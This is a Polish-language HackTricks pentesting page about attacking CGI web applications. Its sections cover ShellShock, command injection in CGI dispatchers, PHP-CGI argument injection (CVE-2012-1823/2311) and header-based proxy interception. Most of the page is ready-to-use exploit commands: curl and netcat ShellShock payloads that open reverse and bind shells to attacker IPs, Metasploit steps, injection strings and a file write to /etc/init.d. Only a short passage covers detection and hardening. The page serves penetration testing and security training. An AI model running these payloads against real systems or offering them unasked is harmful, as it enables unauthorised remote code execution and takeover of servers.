CGI Pentesting

Reading time: 6 minutes

tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks

Informacje

Skrypty CGI są skryptami perl, więc, jeśli przejąłeś serwer, który może wykonywać .cgi pliki możesz wgrać perl reverse shell (/usr/share/webshells/perl/perl-reverse-shell.pl), zmienić rozszerzenie z .pl na .cgi, nadać uprawnienia do wykonania (chmod +x) i uzyskać dostęp do reverse shella z poziomu przeglądarki, aby go uruchomić. Aby przetestować CGI vulns zaleca się użycie nikto -C all (i wszystkich wtyczek)

ShellShock

ShellShock to luka, która dotyczy szeroko używanej powłoki wiersza poleceń Bash w systemach operacyjnych opartych na Unix. Atakuje zdolność Bash do uruchamiania poleceń przekazywanych przez aplikacje. Luka polega na manipulacji zmiennymi środowiskowymi, które są dynamicznymi, nazwanymi wartościami wpływającymi na sposób działania procesów na komputerze. Atakujący mogą to wykorzystać, dołączając złośliwy kod do zmiennych środowiskowych, który jest wykonywany po otrzymaniu zmiennej. To pozwala atakującym potencjalnie przejąć system.

Eksploatując tę lukę strona może zwrócić błąd.

Możesz znaleźć tę lukę, zauważając użycie starej wersji Apache i cgi_mod (z folderem cgi) lub używając nikto.

Test

Większość testów polega na użyciu polecenia echo i oczekiwaniu, że dany ciąg zostanie zwrócony w odpowiedzi webowej. Jeśli uważasz, że strona może być podatna, wyszukaj wszystkie strony cgi i przetestuj je.

Nmap

bash
nmap 10.2.1.31 -p 80 --script=http-shellshock --script-args uri=/cgi-bin/admin.cgi

Curl (reflected, blind and out-of-band)

bash
# Reflected
curl -H 'User-Agent: () { :; }; echo "VULNERABLE TO SHELLSHOCK"' http://10.1.2.32/cgi-bin/admin.cgi 2>/dev/null| grep 'VULNERABLE'
# Blind with sleep (you could also make a ping or web request to yourself and monitor that oth tcpdump)
curl -H 'User-Agent: () { :; }; /bin/bash -c "sleep 5"' http://10.11.2.12/cgi-bin/admin.cgi
# Out-Of-Band Use Cookie as alternative to User-Agent
curl -H 'Cookie: () { :;}; /bin/bash -i >& /dev/tcp/10.10.10.10/4242 0>&1' http://10.10.10.10/cgi-bin/user.sh

Shellsocker

bash
python shellshocker.py http://10.11.1.71/cgi-bin/admin.cgi

Exploit

bash
#Bind Shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 8
#Reverse shell
$ echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc 192.168.159.1 443 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc vulnerable 80
#Reverse shell using curl
curl -H 'User-Agent: () { :; }; /bin/bash -i >& /dev/tcp/10.11.0.41/80 0>&1' http://10.1.2.11/cgi-bin/admin.cgi
#Reverse shell using metasploit
> use multi/http/apache_mod_cgi_bash_env_exec
> set targeturi /cgi-bin/admin.cgi
> set rhosts 10.1.2.11
> run

Scentralizowane CGI dispatchery (single endpoint routing via selector parameters)

Wiele wbudowanych interfejsów WWW grupuje dziesiątki uprzywilejowanych akcji za jednym CGI endpointem (np. /cgi-bin/cstecgi.cgi) i używa selector parameter takiego jak topicurl=<handler>, aby skierować żądanie do wewnętrznej funkcji.

Metodologia wykorzystania tych dispatcherów:

  • Wymień nazwy handlerów: scrape JS/HTML, brute-force za pomocą wordlists, lub rozpakuj firmware i użyj grep, by znaleźć handler strings używane przez dispatcher.
  • Sprawdź unauthenticated reachability: niektóre handlery pomijają auth checks i są bezpośrednio callable.
  • Skoncentruj się na handlerach, które wywołują system utilities lub operują na plikach; słabe validators często blokują tylko kilka znaków i mogą przeoczyć wiodący myślnik -.

Ogólne schematy exploitów:

http
POST /cgi-bin/cstecgi.cgi HTTP/1.1
Content-Type: application/x-www-form-urlencoded

# 1) Option/flag injection (no shell metacharacters): flip argv of downstream tools
topicurl=<handler>&param=-n

# 2) Parameter-to-shell injection (classic RCE) when a handler concatenates into a shell
topicurl=setEasyMeshAgentCfg&agentName=;id;

# 3) Validator bypass → arbitrary file write in file-touching handlers
topicurl=setWizardCfg&<crafted_fields>=/etc/init.d/S99rc

Wykrywanie i wzmacnianie zabezpieczeń:

  • Uważaj na nieautoryzowane żądania do scentralizowanych endpointów CGI z topicurl ustawionym na wrażliwe handlery.
  • Oznaczaj parametry zaczynające się od - (argv option injection attempts).
  • Dostawcy: wymuszaj uwierzytelnianie dla wszystkich state-changing handlers, waliduj używając rygorystycznych allowlists/types/lengths i nigdy nie przekazuj kontrolowanych przez użytkownika ciągów jako command-line flags.

Stare PHP + CGI = RCE (CVE-2012-1823, CVE-2012-2311)

W zasadzie jeśli cgi jest aktywne i php jest "stare" (<5.3.12 / < 5.4.2) możesz wykonać kod. Aby wyeksploitować tę podatność, musisz uzyskać dostęp do jakiegoś pliku PHP na serwerze WWW bez wysyłania parametrów (szczególnie bez wysyłania znaku "="). Aby przetestować tę podatność, możesz np. uzyskać dostęp do /index.php?-s (zwróć uwagę na -s) i kod źródłowy aplikacji pojawi się w odpowiedzi.

Aby uzyskać RCE, możesz wysłać to specjalne zapytanie: /?-d allow_url_include=1 -d auto_prepend_file=php://input i umieścić PHP code do wykonania w treści żądania. Przykład:

bash
curl -i --data-binary "<?php system(\"cat /flag.txt \") ?>" "http://jh2i.com:50008/?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input"

Więcej informacji o vuln i możliwych exploits: https://www.zero-day.cz/database/337/, cve-2012-1823, cve-2012-2311, CTF Writeup Example.

Proxy (MitM do żądań serwera WWW)

CGI tworzy zmienną środowiskową dla każdego nagłówka w żądaniu HTTP. Na przykład: "host:web.com" jest tworzony jako "HTTP_HOST"="web.com"

Ponieważ zmienna HTTP_PROXY może być używana przez serwer WWW. Spróbuj wysłać header zawierający: "Proxy: <IP_attacker>:<PORT>" i jeśli serwer wykona jakiekolwiek żądanie podczas sesji, będziesz w stanie przechwycić każde żądanie wykonane przez serwer.

References

tip

Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Ucz się i ćwicz Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Wsparcie dla HackTricks